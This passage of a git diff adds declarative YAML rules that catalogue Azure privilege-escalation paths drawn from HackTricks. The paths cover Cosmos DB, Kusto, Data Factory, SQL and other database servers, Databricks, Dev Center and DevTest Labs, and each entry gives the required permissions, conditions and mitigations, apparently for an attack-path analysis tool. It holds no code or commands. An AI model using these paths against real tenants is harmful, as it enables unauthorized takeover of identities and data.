Cosmos DB data-plane admins of {target.scope} + conditions: + - id: mongo_rbac_enabled + description: Native MongoDB RBAC must be enabled on the account. + - id: network_reachable + description: Account firewall must allow the source. + blockers: [] + confidence: derived + severity: high + mitigation: Restrict mongodbUserDefinitions/write and mongodbRoleDefinitions/write. + references: + - https://learn.microsoft.com/en-us/azure/cosmos-db/mongodb/how-to-setup-rbac + notes: '' +- id: azure-cosmos-mongocluster-admin-password + provider: azure + service: cosmos_db + title: Change the MongoDB vCore cluster administrator password + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#microsoftdocumentdbmongoclustersread--microsoftdocumentdbmongoclusterswrite + source_revision: 171e422 + summary: The source can obtain the MongoDB vCore cluster administrator account. + requires: + all_of: + - action: Microsoft.DocumentDB/mongoClusters/write + scope: '{target.scope}' + target: + kind: azure_dataplane_admin + selector: + any_principal_in_scope: true + scope: inherited_scope + aggregate_as: MongoDB cluster admins of {target.scope} + conditions: + - id: api_supports_password_update + description: Depends on API version and cluster state per HackTricks. + - id: network_reachable + description: Cluster firewall must allow the source (firewallRules/write can add a rule). + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict mongoClusters/write and prefer Entra authentication. + references: + - https://learn.microsoft.com/en-us/azure/cosmos-db/mongodb/vcore/ + notes: '' +- id: azure-cosmos-other-api-role-assignment-write + provider: azure + service: cosmos_db + title: Grant a Cosmos DB native data-plane role on the Cassandra, Gremlin, Table or MongoDB API + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#same-native-rbac-self-grant-on-the-other-cosmos-apis-cassandra--gremlin--table--mongodb-account + source_revision: 4393380a88845b42bd208d3adbb6d61ad89f02fb + summary: The source can obtain full data-plane access on the Cosmos DB account through the API-specific native role assignments. + requires: + all_of: [] + any_of: + - - action: Microsoft.DocumentDB/databaseAccounts/cassandraRoleDefinitions/write + scope: '{target.scope}' + - action: Microsoft.DocumentDB/databaseAccounts/cassandraRoleAssignments/write + scope: '{target.scope}' + - - action: Microsoft.DocumentDB/databaseAccounts/gremlinRoleDefinitions/write + scope: '{target.scope}' + - action: Microsoft.DocumentDB/databaseAccounts/gremlinRoleAssignments/write + scope: '{target.scope}' + - - action: Microsoft.DocumentDB/databaseAccounts/tableRoleDefinitions/write + scope: '{target.scope}' + - action: Microsoft.DocumentDB/databaseAccounts/tableRoleAssignments/write + scope: '{target.scope}' + - - action: Microsoft.DocumentDB/databaseAccounts/tableRoleAssignments/write + scope: '{target.scope}' + - - action: Microsoft.DocumentDB/databaseAccounts/mongoMIRoleDefinitions/write + scope: '{target.scope}' + - action: Microsoft.DocumentDB/databaseAccounts/mongoMIRoleAssignments/write + scope: '{target.scope}' + target: + kind: azure_dataplane_admin + selector: + any_principal_in_scope: true + scope: inherited_scope + aggregate_as: Cosmos DB data-plane admins of {target.scope} + conditions: + - id: api_rbac_supported + description: The account must use the matching API with Entra/native RBAC enabled. The assignment-only Table branch grants the built-in Data Contributor role; other branches define and assign a privileged custom role. + - id: network_reachable + description: Account firewall must allow the source. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict the per-API role assignment and role definition write actions. + references: + - https://learn.microsoft.com/en-us/rest/api/cosmos-db-resource-provider/ + notes: Action names follow the ARM resource types cassandraRoleAssignments, gremlinRoleAssignments, tableRoleAssignments and mongoMIRoleAssignments in the Cosmos DB resource provider REST API; they are not yet listed on the Microsoft RBAC operations page. diff --git a/src/privilege-escalation-paths-research/azure/data_explorer.yaml b/src/privilege-escalation-paths-research/azure/data_explorer.yaml new file mode 100644 index 0000000000..58e838e02c --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/data_explorer.yaml @@ -0,0 +1,82 @@ +# Azure Data Explorer (Kusto) techniques (declarative only). +# Source: hacktricks-cloud az-data-explorer-privesc.md (rev 171e422). + +- id: azure-kusto-database-principal-assignment-write + provider: azure + service: data_explorer + title: Grant a Kusto database role through ARM principal assignments + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-explorer-privesc.md#microsoftkustoclustersdatabasesprincipalassignmentswrite + source_revision: 171e422 + summary: The source can obtain Kusto database Admin on databases in scope. + requires: + all_of: + - action: Microsoft.Kusto/clusters/databases/principalAssignments/write + scope: "{target.scope}" + target: + kind: azure_dataplane_admin + selector: + any_principal_in_scope: true + scope: inherited_scope + aggregate_as: "Kusto database admins of {target.scope}" + conditions: [] + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict principalAssignments/write to Kusto administrators. + references: + - https://learn.microsoft.com/en-us/azure/data-explorer/manage-database-permissions + notes: "" + +- id: azure-kusto-cluster-principal-assignment-write + provider: azure + service: data_explorer + title: Grant a Kusto cluster-wide role through ARM principal assignments + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-explorer-privesc.md#cluster-wide-variant-microsoftkustoclustersprincipalassignmentswrite + source_revision: 171e422 + summary: The source can obtain AllDatabasesAdmin on the Kusto cluster. + requires: + all_of: + - action: Microsoft.Kusto/clusters/principalAssignments/write + scope: "{target.scope}" + target: + kind: azure_dataplane_admin + selector: + any_principal_in_scope: true + scope: inherited_scope + aggregate_as: "Kusto cluster admins of {target.scope}" + conditions: [] + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict cluster principalAssignments/write. + references: [] + notes: "" + +- id: azure-kusto-database-add-principals + provider: azure + service: data_explorer + title: Add a Kusto database principal with the AddPrincipals action + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-explorer-privesc.md#microsoftkustoclustersdatabasesaddprincipalsaction--direct-principal-add-stealthier-than-principalassignments + source_revision: 171e422 + summary: The source can obtain Kusto database Admin on databases in scope. + requires: + all_of: + - action: Microsoft.Kusto/Clusters/Databases/AddPrincipals/action + scope: "{target.scope}" + target: + kind: azure_dataplane_admin + selector: + any_principal_in_scope: true + scope: inherited_scope + aggregate_as: "Kusto database admins of {target.scope}" + conditions: [] + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict Databases/AddPrincipals/action alongside principalAssignments/write. + references: + - https://learn.microsoft.com/en-us/rest/api/azurerekusto/databases/add-principals + notes: Microsoft operation 'Microsoft.Kusto/Clusters/Databases/AddPrincipals/action'. diff --git a/src/privilege-escalation-paths-research/azure/data_factory.yaml b/src/privilege-escalation-paths-research/azure/data_factory.yaml new file mode 100644 index 0000000000..20fd1c3097 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/data_factory.yaml @@ -0,0 +1,169 @@ +# Azure Data Factory techniques (declarative only). +# Source: hacktricks-cloud az-data-factory-privesc.md (rev 171e422). + +- id: azure-datafactory-pipeline-write-and-run + provider: azure + service: data_factory + title: Replace and run a Data Factory pipeline that authenticates with the factory identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#pipelineswrite--pipelinescreaterunaction--steal-the-factory-managed-identity-token + source_revision: 171e422 + summary: The source can obtain the privileges of the Data Factory's managed identities. + requires: + all_of: + - action: Microsoft.DataFactory/factories/pipelines/write + scope: '{target.host_resource}' + - action: Microsoft.DataFactory/factories/pipelines/createRun/action + scope: '{target.host_resource}' + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.DataFactory/factories + scope: inherited_scope + aggregate_as: Identities of Data Factory {target.host_resource} + conditions: + - id: user_assigned_needs_credential + description: User-assigned factory identities are usable by activities only through an existing factory credential object referencing them (or credentials/write to create one); the system-assigned identity needs nothing extra. + blockers: + - azure_deny_assignment + confidence: derived + severity: critical + mitigation: Restrict pipelines/write and createRun/action; keep the factory identity least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/data-factory/data-factory-service-identity + notes: Validated for the system-assigned identity; user-assigned identities require a factory credential object referencing them. + +- id: azure-datafactory-parameter-redirection + provider: azure + service: data_factory + title: Redirect an existing pipeline's identity-authenticated call through parameters + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#redirect-factory-output-through-microsoftdatafactoryfactoriesglobalparameterswrite + source_revision: 171e422 + summary: The source can obtain the privileges of the Data Factory's managed identities. + requires: + all_of: [] + any_of: + - - action: Microsoft.DataFactory/factories/globalParameters/write + scope: '{target.host_resource}' + - - action: Microsoft.DataFactory/factories/triggers/write + scope: '{target.host_resource}' + - action: Microsoft.DataFactory/factories/triggers/stop/action + scope: '{target.host_resource}' + - action: Microsoft.DataFactory/factories/triggers/start/action + scope: '{target.host_resource}' + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.DataFactory/factories + scope: inherited_scope + aggregate_as: Identities of Data Factory {target.host_resource} + conditions: + - id: pipeline_trusts_parameter + description: An existing pipeline must send a managed-identity-authenticated request to a URL taken from the parameter, and must run later. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict globalParameters/write and trigger write/stop/start; do not parameterize destinations of identity-authenticated activities. + references: + - https://learn.microsoft.com/en-us/azure/data-factory/author-global-parameters + notes: The trigger write/stop/start variant (re-pointing a trigger's pipeline parameters) is documented in HackTricks' Data Factory persistence page at rev 171e422; the identity gain is the same. + +- id: azure-datafactory-debug-sandbox-run + provider: azure + service: data_factory + title: Run a debug sandbox pipeline that authenticates with the factory identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#rce-as-msi-via-a-debug-sandbox-run-no-pipelineswrite + source_revision: a66f094ede + summary: A debug run of a source-supplied pipeline definition executes with the factory's managed identities without saving any pipeline. + requires: + all_of: [] + any_of: + - - action: Microsoft.DataFactory/factories/pipelines/sandbox/create/action + scope: '{target.host_resource}' + - action: Microsoft.DataFactory/factories/pipelines/sandbox/run/action + scope: '{target.host_resource}' + - - action: Microsoft.DataFactory/factories/sandboxpipelineruns/action + scope: '{target.host_resource}' + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.DataFactory/factories + scope: inherited_scope + aggregate_as: Identities of Data Factory {target.host_resource} + conditions: + - id: user_assigned_needs_credential + description: User-assigned factory identities are usable by activities only through an existing factory credential object referencing them; the system-assigned identity needs nothing extra. + blockers: + - azure_deny_assignment + confidence: derived + severity: critical + mitigation: Restrict the pipelines/sandbox actions (debug runs) to factory authors. + references: + - https://learn.microsoft.com/en-us/azure/data-factory/iterative-development-debugging + notes: The page names factories/sandboxpipelineruns/action as the equivalent single action. + +- id: azure-datafactory-dataplane-access-token + provider: azure + service: data_factory + title: Mint a factory data-plane access token + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#mint-a-factory-data-plane-access-token-with-factoriesgetdataplaneaccessaction + source_revision: 171e422 + summary: A data-plane token from getDataPlaneAccess can drive factory authoring/debug APIs, which run activities with the factory's managed identities. + requires: + all_of: + - action: Microsoft.DataFactory/factories/getDataPlaneAccess/action + scope: '{target.host_resource}' + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.DataFactory/factories + scope: inherited_scope + aggregate_as: Identities of Data Factory {target.host_resource} + conditions: + - id: token_permissions_allow_runs + description: The requested token permissions must allow debug or pipeline runs on the factory data plane. + - id: user_assigned_needs_credential + description: User-assigned factory identities are usable only through a factory credential object referencing them. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict getDataPlaneAccess/action (included in Data Factory Contributor). + references: + - https://learn.microsoft.com/en-us/rest/api/datafactory/factories/get-data-plane-access + notes: "" + +- id: azure-datafactory-rogue-shir-linked-service-credentials + provider: azure + service: data_factory + title: Register a rogue self-hosted integration runtime node and receive linked-service credentials + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#microsoftdatafactoryfactoriesintegrationruntimeslistauthkeysaction + source_revision: a66f094ede + summary: A self-hosted integration runtime node registered with the runtime auth key executes activities with the stored linked-service credentials, which can include service-principal secrets. + requires: + all_of: [] + any_of: + - - action: Microsoft.DataFactory/factories/integrationruntimes/listauthkeys/action + scope: '{pivot}' + - - action: Microsoft.DataFactory/factories/integrationruntimes/regenerateauthkey/action + scope: '{pivot}' + - - action: Microsoft.DataFactory/datafactories/gateways/listauthkeys/action + scope: '{pivot}' + pivot_resource_type: Microsoft.DataFactory/factories + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: '{pivot}' + scope: any + aggregate_as: Service principals with credentials stored in linked services of {pivot} + conditions: + - id: linked_service_uses_sp_secret_on_shir + description: Only linked services that authenticate with a service-principal secret or certificate and connect through that self-hosted runtime are exposed; other credential types are data access only. + - id: activity_runs_on_rogue_node + description: An activity using the linked service must be dispatched to the rogue node while it is registered. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict integration runtime listauthkeys and regenerateauthkey, alert on new runtime node registrations, and store linked-service secrets in Key Vault with managed-identity access. + references: + - https://learn.microsoft.com/en-us/azure/data-factory/create-self-hosted-integration-runtime + notes: Key rotation (az-data-factory-privesc.md#self-hosted-ir-key-rotation-connection-recon-and-cross-factory-sharing) returns the new keys and evicts legitimate nodes. Linked services that resolve secrets from Key Vault through the factory identity are not exposed this way. diff --git a/src/privilege-escalation-paths-research/azure/databases.yaml b/src/privilege-escalation-paths-research/azure/databases.yaml new file mode 100644 index 0000000000..b1326c2951 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/databases.yaml @@ -0,0 +1,260 @@ +- id: azure-mysql-flexible-admin-password-reset + provider: azure + service: databases + title: Reset the MySQL Flexible Server administrator password + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md#microsoftdbformysqlflexibleserversread--microsoftdbformysqlflexibleserverswrite--microsoftdbformysqlflexibleserversdelete + source_revision: 171e422 + summary: The source can obtain the MySQL server administrator account. + requires: + all_of: + - action: Microsoft.DBforMySQL/flexibleServers/write + scope: "{target.scope}" + target: + kind: azure_dataplane_admin + selector: + any_principal_in_scope: true + scope: inherited_scope + aggregate_as: "MySQL server admin of {target.scope}" + conditions: + - id: password_auth_enabled + description: MySQL password authentication must be enabled and the server reachable (firewall rule / private endpoint). + blockers: [] + confidence: conditional + severity: high + mitigation: Use Entra-only authentication and restrict flexibleServers/write. + references: + - https://learn.microsoft.com/en-us/azure/mysql/flexible-server/how-to-manage-server-cli + notes: Reset is disruptive to existing clients. +- id: azure-mysql-flexible-entra-admin-write + provider: azure + service: databases + title: Set the MySQL Flexible Server Entra administrator + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md#microsoftdbformysqlflexibleserversread-microsoftdbformysqlflexibleserverswrite-microsoftmanagedidentityuserassignedidentitiesassignaction-microsoftdbformysqlflexibleserversadministratorswrite--microsoftdbformysqlflexibleserversadministratorsread + source_revision: 171e422 + summary: The source can obtain Entra administrator on the MySQL server. + requires: + all_of: + - action: Microsoft.DBforMySQL/flexibleServers/administrators/write + scope: "{target.scope}" + target: + kind: azure_dataplane_admin + selector: + any_principal_in_scope: true + scope: inherited_scope + aggregate_as: "MySQL server admin of {target.scope}" + conditions: + - id: server_has_uami + description: The server needs a user-assigned identity for Entra auth; if none, flexibleServers/write plus userAssignedIdentities/assign/action are also needed. + blockers: [] + confidence: derived + severity: high + mitigation: Restrict administrators/write and monitor Entra admin changes. + references: + - https://learn.microsoft.com/en-us/azure/mysql/flexible-server/how-to-azure-ad + notes: "" +- id: azure-postgresql-flexible-admin-password-reset + provider: azure + service: databases + title: Reset the PostgreSQL Flexible Server administrator password + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md#microsoftdbforpostgresqlflexibleserversread-microsoftdbforpostgresqlflexibleserverswrite-microsoftdbforpostgresqlflexibleserversconfigurationswrite + source_revision: 171e422 + summary: The source can obtain the PostgreSQL server administrator account. + requires: + all_of: + - action: Microsoft.DBforPostgreSQL/flexibleServers/write + scope: '{target.scope}' + target: + kind: azure_dataplane_admin + selector: + any_principal_in_scope: true + scope: inherited_scope + aggregate_as: PostgreSQL server admin of {target.scope} + conditions: + - id: password_auth_enabled + description: Password authentication must be enabled and the server reachable (firewall / private network). + blockers: [] + confidence: conditional + severity: high + mitigation: Use Entra-only authentication and restrict flexibleServers/write. + references: + - https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/how-to-manage-server-cli + notes: The azure_storage extension path (configurations/write) lets a database admin read blobs as the server's managed identity; this is a partial, Storage-read-only use of that identity and is not modelled as an identity edge. A newly enabled system-assigned identity has no roles. +- id: azure-postgresql-flexible-entra-admin-write + provider: azure + service: databases + title: Set a PostgreSQL Flexible Server Entra administrator + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md#microsoftdbforpostgresqlflexibleserversread-microsoftdbforpostgresqlflexibleserverswrite-microsoftdbforpostgresqlflexibleserversadministratorswrite--microsoftdbforpostgresqlflexibleserversadministratorsread + source_revision: 171e422 + summary: The source can obtain Entra administrator on the PostgreSQL server. + requires: + all_of: + - action: Microsoft.DBforPostgreSQL/flexibleServers/administrators/write + scope: '{target.scope}' + target: + kind: azure_dataplane_admin + selector: + any_principal_in_scope: true + scope: inherited_scope + aggregate_as: PostgreSQL server admin of {target.scope} + conditions: + - id: entra_auth_enabled + description: Entra authentication must be enabled (otherwise flexibleServers/write is also needed). + - id: network_reachable + description: Server must be reachable from the source. + blockers: [] + confidence: derived + severity: high + mitigation: Restrict administrators/write and alert on Entra admin changes. + references: + - https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/how-to-configure-sign-in-azure-ad-authentication + notes: '' +- id: azure-sql-server-admin-password-reset + provider: azure + service: databases + title: Reset the Azure SQL logical server administrator password + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#reset-a-sql-server-administrator-password-with-microsoftsqlserverswrite + source_revision: 171e422 + summary: The source can obtain the SQL server administrator account. + requires: + all_of: + - action: Microsoft.Sql/servers/write + scope: '{target.scope}' + target: + kind: azure_dataplane_admin + selector: + any_principal_in_scope: true + scope: inherited_scope + aggregate_as: SQL server admin of {target.scope} + conditions: + - id: sql_auth_allowed + description: Entra-only authentication must be disabled (azureADOnlyAuthentications/write can disable it). + - id: network_reachable + description: Public network access plus a firewall rule, or a private path, is required. + blockers: [] + confidence: conditional + severity: high + mitigation: Enforce Entra-only authentication with Azure Policy and restrict servers/write. + references: + - https://learn.microsoft.com/en-us/azure/azure-sql/database/authentication-azure-ad-only-authentication + notes: servers/write can also enable or attach a server identity; a privileged SQL session can then read Blob Storage as that identity through a database-scoped credential. That is a partial, read-only use of the identity and is not modelled as an identity edge. +- id: azure-sql-server-entra-admin-write + provider: azure + service: databases + title: Set the Azure SQL logical server Entra administrator + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#set-a-sql-server-entra-administrator-with-microsoftsqlserversadministratorswrite + source_revision: 171e422 + summary: The source can obtain Entra administrator on the SQL server. + requires: + all_of: + - action: Microsoft.Sql/servers/administrators/write + scope: '{target.scope}' + target: + kind: azure_dataplane_admin + selector: + any_principal_in_scope: true + scope: inherited_scope + aggregate_as: SQL server admin of {target.scope} + conditions: + - id: network_reachable + description: Public network access plus a firewall rule, or a private path, is required. + blockers: [] + confidence: derived + severity: high + mitigation: Restrict administrators/write and alert on Entra admin changes. + references: + - https://learn.microsoft.com/en-us/azure/azure-sql/database/authentication-aad-configure + notes: '' +- id: azure-sqlmi-entra-admin-write + provider: azure + service: databases + title: Set the Azure SQL Managed Instance Entra administrator + source: src/pentesting-cloud/azure-security/az-persistence/az-sql-persistence.md#sql-managed-instance-parity-and-clr-based-persistence + source_revision: 171e422 + summary: The source can obtain Entra administrator on the SQL Managed Instance, the instance analogue of the logical-server Entra admin grant. + requires: + all_of: + - action: Microsoft.Sql/managedInstances/administrators/write + scope: '{target.scope}' + target: + kind: azure_dataplane_admin + selector: + any_principal_in_scope: true + scope: inherited_scope + aggregate_as: SQL Managed Instance admin of {target.scope} + conditions: + - id: network_reachable + description: The instance endpoint (VNet-local, or public endpoint if enabled) must be reachable from the source. + blockers: [] + confidence: derived + severity: high + mitigation: Restrict managedInstances/administrators/write and alert on Entra admin changes. + references: + - https://learn.microsoft.com/en-us/azure/azure-sql/database/authentication-aad-configure + notes: Sourced from the HackTricks SQL persistence page, which lists the Managed Instance equivalents of the SQL privesc page's control-plane techniques. +- id: azure-sqlmi-admin-password-reset + provider: azure + service: databases + title: Reset the Azure SQL Managed Instance administrator password + source: src/pentesting-cloud/azure-security/az-persistence/az-sql-persistence.md#sql-managed-instance-parity-and-clr-based-persistence + source_revision: 171e422 + summary: The source can obtain the SQL Managed Instance administrator login. + requires: + all_of: + - action: Microsoft.Sql/managedInstances/write + scope: '{target.scope}' + target: + kind: azure_dataplane_admin + selector: + any_principal_in_scope: true + scope: inherited_scope + aggregate_as: SQL Managed Instance admin of {target.scope} + conditions: + - id: sql_auth_allowed + description: Entra-only authentication must be disabled on the instance (managedInstances/azureADOnlyAuthentications/write can disable it). + - id: network_reachable + description: The instance endpoint must be reachable from the source. + blockers: [] + confidence: conditional + severity: high + mitigation: Enforce Entra-only authentication on managed instances and restrict managedInstances/write. + references: + - https://learn.microsoft.com/en-us/azure/azure-sql/database/authentication-azure-ad-only-authentication + notes: Disruptive to clients using the old password. +- id: azure-audit-elastic-jobs-run-arbitrary-t-sql-through-jobagentsjobsstepswrite-executi + provider: azure + service: sql + title: 'Elastic Jobs: run arbitrary T-SQL through jobAgents/jobs/steps/write + executions/write' + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#elastic-jobs-run-arbitrary-t-sql-through-jobagentsjobsstepswrite--executionswrite + summary: arbitrary T-SQL as stored credential across target databases + requires: + all_of: + - action: Microsoft.Sql/servers/jobAgents/jobs/steps/write + scope: '{target.scope}' + - action: Microsoft.Sql/servers/jobAgents/jobs/executions/write + scope: '{target.scope}' + - action: Microsoft.Sql/servers/jobAgents/credentials/read + scope: '{target.scope}' + - action: Microsoft.Sql/servers/jobAgents/targetGroups/read + scope: '{target.scope}' + target: + kind: azure_managed_identity + selector: + azure_challenge_fact: azure-audit-elastic-jobs-run-arbitrary-t-sql-through-jobagentsjobsstepswrite-executi + scope: inherited_scope + aggregate_as: 'Elastic Jobs: run arbitrary T-SQL through jobAgents/jobs/steps/write + executions/write on {target.scope}' + outcome: workload_execution + conditions: + - id: same_resource_binding + description: All actions must apply to the same service resource and the referenced child object. + - id: collector_fact_required + description: Exact source, target, scope and requested collector facts must be verified; missing facts remain + UNKNOWN. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict the listed action to principals that need this service privilege. + references: + - https://learn.microsoft.com/en-us/azure/azure-sql/database/elastic-jobs-overview + notes: 'Draft is disabled until the stated schema feature or collector fact is implemented; unresolved facts must + evaluate UNKNOWN. Collector fact required: sql.elasticJobs.' diff --git a/src/privilege-escalation-paths-research/azure/databricks.yaml b/src/privilege-escalation-paths-research/azure/databricks.yaml new file mode 100644 index 0000000000..8de062a3ee --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/databricks.yaml @@ -0,0 +1,61 @@ +- id: azure-databricks-assign-workspace-admin + provider: azure + service: databricks + title: Self-assign Databricks workspace admin through Azure RBAC + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-databricks-privesc.md#become-a-workspace-admin-through-azure-rbac + source_revision: 171e422 + summary: The source can obtain Databricks workspace administrator privileges. + requires: + all_of: + - action: Microsoft.Databricks/workspaces/assignWorkspaceAdmin/action + scope: "{target.scope}" + - action: Microsoft.Databricks/workspaces/read + scope: "{target.scope}" + target: + kind: azure_dataplane_admin + selector: + any_principal_in_scope: true + scope: inherited_scope + aggregate_as: "Workspace admins of Databricks workspace {target.scope}" + conditions: + - id: source_is_user + description: HackTricks validated the path only for tenant member users, not service principals. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict assignWorkspaceAdmin/action (Contributor/Owner on the workspace). + references: + - https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/analytics + notes: Workspace admins may further use identities configured on workspace compute; that is workspace-dependent and not modelled. +- id: azure-databricks-uc-temporary-storage-credential + provider: azure + service: databricks + title: Obtain temporary Azure Storage authority through Unity Catalog + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-databricks-privesc.md#unity-catalog-storage-credential--external-location-abuse + source_revision: 0b36331 + summary: A Unity Catalog principal with rights over a storage credential or external location can request temporary + Azure Storage tokens or SAS through an Access Connector managed identity. + requires: + all_of: [] + target: + kind: azure_verified_authority + scope: inherited_scope + outcome: permission_grant + grants: + - Storage Blob read/write only where the Access Connector and UC privilege permit + selector: + azure_challenge_fact: azure-databricks-uc-temporary-storage-credential + confidence: conditional + severity: high + mitigation: Limit UC storage credential privileges and Access Connector Storage Blob roles. + references: + - https://docs.databricks.com/en/connect/unity-catalog/cloud-storage/azure-managed-identities.html + notes: 'UNKNOWN until UC permission and credential-to-connector facts are collected; no full MI role propagation. + Collector fact required: see request queue.' + source_kind: + - azure_user + - azure_service_principal + conditions: + - id: collector_fact_required + description: Exact source, target, scope and requested collector facts must be verified; missing facts remain + UNKNOWN. diff --git a/src/privilege-escalation-paths-research/azure/dev_center.yaml b/src/privilege-escalation-paths-research/azure/dev_center.yaml new file mode 100644 index 0000000000..1505cd4b82 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/dev_center.yaml @@ -0,0 +1,72 @@ +# Azure Dev Center techniques (declarative only). +# Source: hacktricks-cloud az-dev-center-privesc.md (rev 171e422). + +- id: azure-devcenter-ade-deployment-identity + provider: azure + service: dev_center + title: Deploy an ADE environment whose template runs with the project environment type identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-dev-center-privesc.md#ade-deployment-identity-template-injection-marquee-privesc + source_revision: 171e422 + summary: Azure Deployment Environments deploy templates with the identity configured on the project environment type, so a controlled template runs with that identity's roles. + requires: + all_of: + - action: Microsoft.DevCenter/projects/users/environments/userWrite/action + data_action: true + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.DevCenter/projects/environmentTypes + scope: inherited_scope + aggregate_as: "Deployment identity of Dev Center project {target.host_resource}" + conditions: + - id: template_control + description: The source must control an environment definition the project can use (write access to a catalog repository, or Microsoft.DevCenter/projects/catalogs/write or devcenters/catalogs/write to add one), or an existing definition must take attacker-influenced parameters that reach code execution. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Protect catalog repositories and catalogs/write, and keep environment type deployment identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/deployment-environments/concept-environments-key-concepts + - https://learn.microsoft.com/en-us/azure/deployment-environments/how-to-configure-project-environment-types + notes: Covers the catalog poisoning section of the page as the template-control route. + +- id: azure-devcenter-environment-type-assign-user-assigned-identity + provider: azure + service: dev_center + title: Bind a user-assigned identity to a project environment type and deploy with it + source: src/pentesting-cloud/azure-security/az-persistence/az-dev-center-persistence.md#dev-center + source_revision: a66f094ede + summary: A source that can create or repoint a project environment type to a user-assigned identity it may assign, and deploy environments of that type, runs its environment definitions with that identity's roles. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: "{target.id}" + - action: Microsoft.DevCenter/projects/environmentTypes/write + scope: "{pivot}" + - action: Microsoft.DevCenter/projects/users/environments/userWrite/action + data_action: true + scope: "{pivot}" + pivot_resource_type: Microsoft.DevCenter/projects + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_identity_assignable_in_scope: true + scope: inherited_scope + aggregate_as: "User-assigned identities assignable in {scope}" + conditions: + - id: identity_attached_to_dev_center + description: A user-assigned deployment identity must also be attached to the parent dev center (devcenters/write), and the environment type must be enabled for a deployment target subscription. + - id: template_control + description: The source must control an environment definition the project can use (catalog repository write or a catalog it can attach), as for azure-devcenter-ade-deployment-identity. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict projects/environmentTypes/write (DevCenter Project Admin) and userAssignedIdentities/assign/action, and review the deployment identities bound to environment types. + references: + - https://learn.microsoft.com/en-us/azure/deployment-environments/how-to-configure-project-environment-types + - https://learn.microsoft.com/en-us/azure/deployment-environments/how-to-configure-managed-identity + notes: Existing environment types with their current identity are covered by azure-devcenter-ade-deployment-identity. diff --git a/src/privilege-escalation-paths-research/azure/devtest_labs.yaml b/src/privilege-escalation-paths-research/azure/devtest_labs.yaml new file mode 100644 index 0000000000..b626e2ee54 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/devtest_labs.yaml @@ -0,0 +1,71 @@ +# Azure DevTest Labs techniques (declarative only). +# Source: hacktricks-cloud az-devtest-labs-privesc.md (rev 171e422). +# A lab VM (Microsoft.DevTestLab/labs/virtualMachines) is backed by a compute VM; the link is not collected, +# so the target uses azure_host_linked_to_pivot (unknown until collected). + +- id: azure-devtestlabs-apply-artifacts + provider: azure + service: devtest_labs + title: Apply an artifact to a lab VM to run code in the guest + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-devtest-labs-privesc.md#applyartifacts--in-guest-rce--managed-identity-theft-marquee + source_revision: 171e422 + summary: Artifacts run as SYSTEM/root in the lab VM, exposing the managed identities of the backing compute VM. + requires: + all_of: + - action: Microsoft.DevTestLab/labs/virtualMachines/ApplyArtifacts/action + scope: "{pivot}" + pivot_resource_type: Microsoft.DevTestLab/labs/virtualMachines + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Compute/virtualMachines + azure_host_linked_to_pivot: devtest_lab_compute_vm + scope: inherited_scope + aggregate_as: "Managed identities of the compute VM behind lab VM {pivot}" + conditions: + - id: artifact_source_available + description: An artifact source with a script-running artifact (the public repository's Run PowerShell / shell artifacts or a private repo) must be enabled in the lab. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict ApplyArtifacts/action, disable unneeded artifact sources and keep lab VM identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/devtest-labs/add-artifact-vm + notes: "" + +- id: azure-devtestlabs-claim-vm + provider: azure + service: 